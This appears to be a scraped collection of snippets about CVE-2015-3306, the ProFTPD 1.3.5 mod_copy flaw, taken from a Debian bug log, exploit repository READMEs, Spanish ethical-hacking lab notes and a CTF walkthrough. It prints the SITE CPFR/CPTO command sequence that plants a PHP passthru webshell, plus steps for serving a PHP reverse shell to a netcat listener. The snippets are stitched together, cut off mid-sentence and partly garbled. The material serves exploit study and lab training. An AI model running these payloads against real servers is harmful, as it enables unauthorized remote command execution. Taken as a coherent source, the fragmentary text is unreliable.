Debian Bug report logs -
#782781
proftpd-dfsg: CVE-2015-3306: unauthenticated copying of files via SITE CPFR/CPTO allowed by mod_copy
Package:
src:proftpd-dfsg;
Maintainer for src:proftpd-dfsg is ProFTPD Maintainance Team <pkg-proftpd-maintainers@alioth-listsdebiannet>;
Reported by: Salvatore Bonaccorso <carnil@debianor ...
ProFTPd version 135 remote command execution exploit This is a variant of the original vulnerability discovered in 2015 with credit going to R-73eN ...
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:
---------------------------------
Trying 80150216115
Connected to 80150216115
Escape charac ...
Laboratorios para las formaciones de Ethical Hacking
eHacking_LABS
Laboratorios para las formaciones de Ethical Hacking está en la URL githubcom/antsala/eHacking_LABSgit
Carpeta 00 Despliegue del laboratorio
Laboratorio 00: Preparación del entorno de laboratorio en Windows Los ejercicios a realizar son:
Instalación de VirtualBox para Windows
Descarga de las OVAs de la VMs
Importación y
JOY
Desarrollo del CTF JOY
1 Configuración de la VM
Descargar la VM: wwwvulnhubcom/entry/digitalworldlocal-joy,298/
2 Escaneo de Puertos
21 Escaneo TCP
nmap -n -P0 -p- -sC -sV -O -T5 -oA full 101010144
Nmap scan report for 101010144
Host is up (000062s latency)
Not shown: 65523 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp
Converted with tweaks from a metasploit module as an exercise for OSCP studying and exploit development
CVE-2015-3306-Python-PoC
This was converted with tweaks from a metasploit module as an exercise for OSCP studying and exploit development It originally came from searching for random remote command execution modules with searchsploit I anaylzed the metasploit code and converted it to python
Proof screenshot:
Modified-CVE-2015-3306-Exploit
How to
Create a php reverse shell
Start server to host shell in the same directory (python3 -m httpserver)
Start netcat listener on local port of choice example: (nc -nlvp [port of choice])
Run exploit example provided below (python3 modified_CVE_2015_3306py --host [remote host] --port [most likely port 21] --path [/var/www or /var/www/html] --
ProFTPd 135 - (mod_copy) Remote Command Execution
ProFTPD is a highly configurable FTP daemon for Unix and Unix-like operating systems ProFTPD grew from a desire for a secure and configurable FTP server It was inspired by a significant admiration of the Apache web server Unlike most other Unix FTP servers, it has not been derived from the old BSD ftpd code base, but is a c
This tool uses a specially craffted chain of commands to exploit CVE-2015-3306 and bypass the authentication system of ProFTPD's mod_copy
It can be downloaded here (you will need to run it from the command line)
Usage:
proftpd_bypass [target] [port] [(l)copy within target/(r)copy to target] [lpath] [rpath]
Laboratorios para las formaciones de Ethical Hacking
eHacking_LABS
Laboratorios para las formaciones de Ethical Hacking está en la URL githubcom/ebantula/eHacking_LABSgit
Carpeta 00 Despliegue del laboratorio
Laboratorio 00: Preparación del entorno de laboratorio en Windows Los ejercicios a realizar son:
Instalación de VirtualBox para Windows
Descarga de las OVAs de la VMs
Importación
Stage One - pwning system
Create script to exploit vulnerability in given server
Steps to exploit
Create socket connection with given server
Send utf-8 encoded commands via socket:
site cpfr /proc/self/cmdline\n
site cpto /tmp/<?php echo passthru($_GET['cmd']); ?>\n
site cpfr /tmp/<?php echo passthru($_GET['cmd']); ?>\n
site cp
CVE-2015-3306
This is part of Cved: a tool to manage vulnerable docker containers
Cved: githubcom/git-rep-src/cved
Image source: githubcom/cved-sources/cve-2015-3306
Image author: githubcom/t0kx/exploit-CVE-2015-3306
Script that exploits the vulnerability of the ProFTP 1.3.5 service with CVE-2015-3306
ProFTPd-135-mod_copy-Remote-Command-Execution
Script that exploits the vulnerability of the ProFTP 135 service with CVE-2015-3306
Usage
/ProFTPD_135_RemoteCommandExecutionpy --rhost host --rport_ftp 21 --target_uri / --tmppath /tmp --sitepath /var/www/html --payload payload
Vulmon